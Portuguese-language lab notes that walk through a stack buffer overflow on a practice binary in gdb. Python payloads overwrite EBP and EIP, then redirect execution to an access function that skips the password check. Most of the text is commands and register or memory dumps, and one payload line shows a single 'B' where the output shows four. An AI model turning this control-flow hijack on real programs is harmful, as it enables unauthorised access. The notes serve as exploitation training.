Tomando Controle do Programa

+ Vamos analisar com o gdb

```
gdb -q ./protegido
```

+ DEVEMOS DAR O RUN NO PROGRAMA PRA DEBUGAR ELE (ANIMAL)

```
run
```

```
(gdb) run
Starting program: /root/LinuxTools/protegido
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Entre com a senha: akjdsljasd
Acesso Negado
```

→ Para passas pra syntax intel:

```
set disassembly-flavor intel
```

+ Quando passamos os argumentos que consigam dar o crash no programa como foi o caso passado enviando os 200 A's por meio de um arquivo, nós não temos o detalhamento do processo que está ocorrendo. Para isso, vamos setar na main um breakpoint num ponto que vem logo após a aquisição de dados → logo depois do gets

```
0x5655621a <+49>:    call   0x56556050 <gets@plt>
0x5655621f <+54>:    add    esp,0x10
0x56556222 <+57>:    sub    esp,0x8
```

```
b* 0x5655621f
```

```
run < <(python2 -c 'print "A"*200')
```

```
(gdb) b* 0x5655621f
Breakpoint 1 at 0x5655621f
(gdb) run < <(python2 -c 'print "A"*200')
Starting program: /root/LinuxTools/protegido < <(python2 -c 'print "A"*200')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x5655621f in verifica ()
```

→ Para ver as informações dos registradores:

```
i r
```

eax	0xffffd2c0	-11584
ecx	0xf7e1f9c4	-136185404
edx	0x0	0
ebx	0x56559000	1448448000
esp	0xffffd2b0	0xffffd2b0
ebp	0xffffd348	0xffffd348
esi	0x56556330	1448436528
edi	0xf7ffcba0	-134231136
eip	0x5655621f	0x5655621f <verifica+54>
eflags	0x246	[PF ZF IF]

cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99

```
x/16xw $esp
```

16 → total de bytes
x → hexadecimal
w → word por word

```
(gdb) x/16xw $esp
0xffffd2b0:     0xffffd2c0      0x00000002      0xf7fc2ac0      0x565561f8
0xffffd2c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd2d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd2e0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xffffd2f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd300:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd310:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd320:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xffffd330:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd340:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd350:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd360:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xffffd370:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd380:     0x41414141      0x41414141      0x00000000      0xffffd424
0xffffd390:     0xf7e1dff4      0x56556330      0xf7ffcba0      0x00000000
0xffffd3a0:     0xd1479f95      0xaa8e7585      0x00000000      0x00000000
```

→ Veja acima a memória mostrando com o que cada registrador será sobrescrito (ainda n foram por causa do breakpoint)
ESP é o topo da stack
→ Para vermos o que vai estar no EBP:

```
x/1xw $ebp
```

```
(gdb) x/1xw $ebp
0xffffd348:     0x41414141
```

→ Ao continuarmos, poderemos ver a sobrescrição

```
c
```

```
(gdb) c
Continuing.
Entre com a senha: Acesso Negado

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0                 0
ecx            0xf7e1f9b8          -136185416
edx            0x0                 0
ebx            0x41414141          1094795585
esp            0xffffd350          0xffffd350
ebp            0x41414141          0x41414141
esi            0x56556330          1448436528
edi            0xf7ffcba0          -134231136
eip            0x41414141          0x41414141
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
```

→ Agora iremos mandar a quantidade exata de "A"s esperados pelo buffer (136), sobrescrever o EBP com B's e o EIP com C's

```
run < <(python2 -c 'print "A"*136 + "B" + "CCCC"')
```

```
i r
```

Breakpoint 1, 0x5655621f in verifica ()
(gdb) i r

eax	0xffffd2c0	-11584
ecx	0xf7e1f9c4	-136185404
edx	0x0	0
ebx	0x56559000	1448448000
esp	0xffffd2b0	0xffffd2b0
ebp	0xffffd348	0xffffd348
esi	0x56556330	1448436528
edi	0xf7ffcba0	-134231136
eip	0x5655621f	0x5655621f <verifica+54>
eflags	0x246	[PF ZF IF]
cs	0x23	35
ss	0x2b	43
ds	0x2b	43
es	0x2b	43
fs	0x0	0
gs	0x63	99

```
x/16xw $esp
```

```
(gdb) x/16xw $esp
0xffffd2b0:     0xffffd2c0      0x00000002      0xf7fc2ac0      0x565561f8
0xffffd2c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd2d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd2e0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xffffd2f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd300:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd310:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd320:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xffffd330:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd340:     0x41414141      0x41414141      0x42424242      0x43434343
0xffffd350:     0xffffd300      0xf7e1dff4      0x00000000      0xf7c237c5
0xffffd360:     0x00000001      0x00000000      0x00000078      0xf7c237c5
(gdb)
0xffffd370:     0x00000001      0xffffd424      0xffffd42c      0xffffd390
0xffffd380:     0xf7e1dff4      0x565562d3      0x00000001      0xffffd424
0xffffd390:     0xf7e1dff4      0x56556330      0xf7ffcba0      0x00000000
0xffffd3a0:     0xd281d410      0xa9483e00      0x00000000      0x00000000
```

→ Registro da memória antes da sobrescrição

```
x/1xw $ebp
```

```
(gdb) x/1xw $ebp
0xffffd348:     0x42424242
```

→ Continuando...

```
c
```

```
(gdb) c
Continuing.
Entre com a senha: Acesso Negado

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) i r
eax            0x0                 0
ecx            0xf7e1f9b8          -136185416
edx            0x0                 0
ebx            0x41414141          1094795585
esp            0xffffd350          0xffffd350
ebp            0x42424242          0x42424242
esi            0x56556330          1448436528
edi            0xf7ffcba0          -134231136
eip            0x43434343          0x43434343
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
```

→ controlamos o EIP

\+ Agora vamos mandar o EIP acessar a função acessa

```
 0x5655626e <+133>:   jne    0x56556277 <verifica+142>
 0x56556270 <+135>:   call   0x56556293 <acessa>
```

→ Vamos direcionar o fluxo do programa para esse endereço
→ Lembrando que a linguagem deve estar em Little Endian

```
run < <(python2 -c 'print "A"*136 + "BBBB" + "\x70\x62\x55\x56"')
```

```
i r
```

```
(gdb)
0xffffd330:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd340:    0x41414141    0x41414141    0x42424242    0x56556270
0xffffd350:    0xffffd300    0xf7e1dff4    0x00000000    0xf7c237c5
0xffffd360:    0x00000001    0x00000000    0x00000078    0xf7c237c5
```

```
c
```

```
Continuing.
Entre com a senha: Acesso Negado
Bem vindo!
[Detaching after vfork from child process 209860]
uid=0(root) gid=0(root) groups=0(root)

Program received signal SIGSEGV, Segmentation fault.
0x5655628e in verifica ()
```

→ Agora vencemos, pois foi exibida a mensagem que aparece para quem manda a senha certa